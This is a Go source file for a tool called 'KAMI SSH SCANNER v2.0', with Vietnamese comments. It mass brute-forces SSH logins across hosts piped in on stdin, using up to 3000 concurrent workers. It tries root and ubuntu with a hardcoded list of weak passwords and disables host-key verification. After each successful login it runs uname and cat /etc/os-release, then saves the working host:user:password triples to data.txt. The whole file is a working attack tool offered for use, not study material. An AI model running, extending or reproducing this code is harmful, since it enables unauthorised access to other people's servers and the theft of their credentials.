ssh.go

package main

import (
	"bufio"
	"fmt"
	"io"
	"net"
	"os"
	"strconv"
	"strings"
	"sync"
	"sync/atomic"
	"time"

	"golang.org/x/crypto/ssh"
)

var (
	users = []string{"root", "ubuntu"}
	passwords = []string{
		"password", "123456","123456789", "admin", "Demo@123", "123123","pass@123","admin123",

	}

	timeout      = 3 * time.Second
	hardDeadline = 8 * time.Second
	maxOutput    = int64(4096)
)

// ═══════════════════ STATS ═══════════════════
var (
	statTotal     int64 // tổng target nhận
	statScanned   int64 // đã scan xong
	statFound     int64 // login thành công
	statFailed    int64 // login thất bại (sai pass)
	statTimeout   int64 // timeout / không kết nối được
	statActive    int64 // đang scan
	startTime     time.Time
)

// ═══════════════════ RESULT WRITER ═══════════════════
var resultCh = make(chan string, 500)

func resultWriter() {
	f, err := os.OpenFile("data.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
	if err != nil {
		fmt.Fprintf(os.Stderr, "Không mở được data.txt: %v\n", err)
		return
	}
	defer f.Close()

	w := bufio.NewWriter(f)
	defer w.Flush()

	for line := range resultCh {
		w.WriteString(line)
	}
}

// ═══════════════════ LOG OUTPUT ═══════════════════
var logMu sync.Mutex

// printLog in ra log rồi vẽ lại status bar
func printLog(format string, args ...interface{}) {
	logMu.Lock()
	defer logMu.Unlock()

	// Xóa dòng status bar hiện tại
	fmt.Print("\r\033[K")
	// In log
	fmt.Printf(format+"\n", args...)
}

// statusBar chạy riêng goroutine, cập nhật status bar mỗi 500ms
func statusBar(done <-chan struct{}) {
	ticker := time.NewTicker(500 * time.Millisecond)
	defer ticker.Stop()

	for {
		select {
		case <-done:
			renderStatus()
			fmt.Println() // xuống dòng cuối
			return
		case <-ticker.C:
			renderStatus()
		}
	}
}

func renderStatus() {
	logMu.Lock()
	defer logMu.Unlock()

	elapsed := time.Since(startTime).Truncate(time.Second)
	scanned := atomic.LoadInt64(&statScanned)
	total := atomic.LoadInt64(&statTotal)
	found := atomic.LoadInt64(&statFound)
	failed := atomic.LoadInt64(&statFailed)
	timedOut := atomic.LoadInt64(&statTimeout)
	active := atomic.LoadInt64(&statActive)

	// Tốc độ
	var speed float64
	if elapsed.Seconds() > 0 {
		speed = float64(scanned) / elapsed.Seconds()
	}

	// Progress bar
	var pct float64
	if total > 0 {
		pct = float64(scanned) / float64(total) * 100
	}
	barWidth := 20
	filled := int(pct / 100 * float64(barWidth))
	if filled > barWidth {
		filled = barWidth
	}
	bar := strings.Repeat("█", filled) + strings.Repeat("░", barWidth-filled)

	fmt.Printf("\r\033[K\033[36m[%s]\033[0m %s \033[33m%.1f%%\033[0m | "+
		"\033[32m✔ %d\033[0m | "+
		"\033[31m✘ %d\033[0m | "+
		"\033[35m⏱ %d\033[0m | "+
		"\033[34m⚡ %.0f/s\033[0m | "+
		"\033[33m🔄 %d\033[0m | "+
		"\033[37m%d/%d\033[0m | "+
		"⏰ %s",
		bar, "", pct,
		found,
		failed,
		timedOut,
		speed,
		active,
		scanned, total,
		elapsed.String(),
	)
}

// ═══════════════════ SSH SCANNER ═══════════════════

func tryLogin(host, user, pass string) bool {
	netConn, err := net.DialTimeout("tcp", host, timeout)
	if err != nil {
		atomic.AddInt64(&statTimeout, 1)
		return false
	}

	netConn.SetDeadline(time.Now().Add(hardDeadline))

	config := &ssh.ClientConfig{
		User: user,
		Auth: []ssh.AuthMethod{
			ssh.Password(pass),
		},
		HostKeyCallback: ssh.InsecureIgnoreHostKey(),
		Timeout:         timeout,
	}

	sshConn, chans, reqs, err := ssh.NewClientConn(netConn, host, config)
	if err != nil {
		netConn.Close()
		atomic.AddInt64(&statFailed, 1)
		return false
	}
	client := ssh.NewClient(sshConn, chans, reqs)
	defer client.Close()

	session, err := client.NewSession()
	if err != nil {
		atomic.AddInt64(&statFailed, 1)
		return false
	}
	defer session.Close()

	stdout, err := session.StdoutPipe()
	if err != nil {
		atomic.AddInt64(&statFailed, 1)
		return false
	}

	if err := session.Start(`uname -a && echo "====" && cat /etc/os-release`); err != nil {
		atomic.AddInt64(&statFailed, 1)
		return false
	}

	limited := io.LimitReader(stdout, maxOutput)
	outputBytes, _ := io.ReadAll(limited)
	session.Wait()

	output := string(outputBytes)
	parts := strings.Split(output, "====")
	if len(parts) < 2 || !strings.Contains(parts[1], "NAME=") {
		atomic.AddInt64(&statFailed, 1)
		return false
	}

	// Thành công!
	atomic.AddInt64(&statFound, 1)

	printLog("\033[32m[✔] %s:%s@%s\033[0m", user, pass, host)
	printLog("\033[90m    → %s\033[0m", strings.TrimSpace(strings.Split(output, "\n")[0]))

	resultCh <- fmt.Sprintf("%s:%s:%s\n", host, user, pass)
	return true
}

func processTarget(target string) {
	atomic.AddInt64(&statActive, 1)
	defer atomic.AddInt64(&statActive, -1)
	defer atomic.AddInt64(&statScanned, 1)

	for _, user := range users {
		for _, pass := range passwords {
			if tryLogin(target, user, pass) {
				return
			}
		}
	}
}

func worker(targets <-chan string, wg *sync.WaitGroup) {
	defer wg.Done()
	for target := range targets {
		processTarget(target)
	}
}

func main() {
	if len(os.Args) < 2 {
		fmt.Println("Usage: ./kami <port | listen> [workers]")
		fmt.Println("  workers: số lượng worker (mặc định 3000)")
		return
	}

	maxWorkers := 3000
	if len(os.Args) >= 3 {
		if n, err := strconv.Atoi(os.Args[2]); err == nil && n > 0 {
			maxWorkers = n
		}
	}

	// Banner
	fmt.Println("\033[36m╔═══════════════════════════════════════════╗")
	fmt.Println("║          🔑 KAMI SSH SCANNER v2.0          ║")
	fmt.Println("╚═══════════════════════════════════════════╝\033[0m")
	fmt.Printf("\033[33m[*] Workers: %d | Timeout: %s | Deadline: %s\033[0m\n", maxWorkers, timeout, hardDeadline)
	fmt.Printf("\033[33m[*] Users: %s\033[0m\n", strings.Join(users, ", "))
	fmt.Printf("\033[33m[*] Passwords: %d combos\033[0m\n", len(passwords))
	fmt.Println("\033[90m─────────────────────────────────────────────\033[0m")

	startTime = time.Now()

	// File writer
	go resultWriter()

	// Status bar
	statusDone := make(chan struct{})
	go statusBar(statusDone)

	targets := make(chan string, maxWorkers*2)

	var wg sync.WaitGroup
	for i := 0; i < maxWorkers; i++ {
		wg.Add(1)
		go worker(targets, &wg)
	}

	// Đếm total trước khi scan
	scan := bufio.NewScanner(os.Stdin)
	for scan.Scan() {
		target := strings.TrimSpace(scan.Text())
		if target == "" {
			continue
		}

		var fullTarget string
		if os.Args[1] == "listen" {
			fullTarget = target
		} else {
			fullTarget = target + ":" + os.Args[1]
		}

		atomic.AddInt64(&statTotal, 1)
		targets <- fullTarget
	}

	if err := scan.Err(); err != nil {
		fmt.Fprintf(os.Stderr, "Lỗi khi đọc input: %v\n", err)
	}

	close(targets)
	wg.Wait()
	close(resultCh)

	// Dừng status bar
	close(statusDone)
	time.Sleep(100 * time.Millisecond)

	// Summary
	elapsed := time.Since(startTime).Truncate(time.Second)
	fmt.Println()
	fmt.Println("\033[90m─────────────────────────────────────────────\033[0m")
	fmt.Println("\033[36m[DONE] Kết quả scan:\033[0m")
	fmt.Printf("  \033[37m📊 Tổng:     %d targets\033[0m\n", atomic.LoadInt64(&statTotal))
	fmt.Printf("  \033[32m✔ Found:    %d\033[0m\n", atomic.LoadInt64(&statFound))
	fmt.Printf("  \033[31m✘ Failed:   %d\033[0m\n", atomic.LoadInt64(&statFailed))
	fmt.Printf("  \033[35m⏱ Timeout:  %d\033[0m\n", atomic.LoadInt64(&statTimeout))
	fmt.Printf("  \033[34m⚡ Speed:    %.1f targets/s\033[0m\n", float64(atomic.LoadInt64(&statScanned))/elapsed.Seconds())
	fmt.Printf("  \033[33m⏰ Time:     %s\033[0m\n", elapsed.String())
	fmt.Printf("  \033[32m💾 Saved:    data.txt\033[0m\n")
}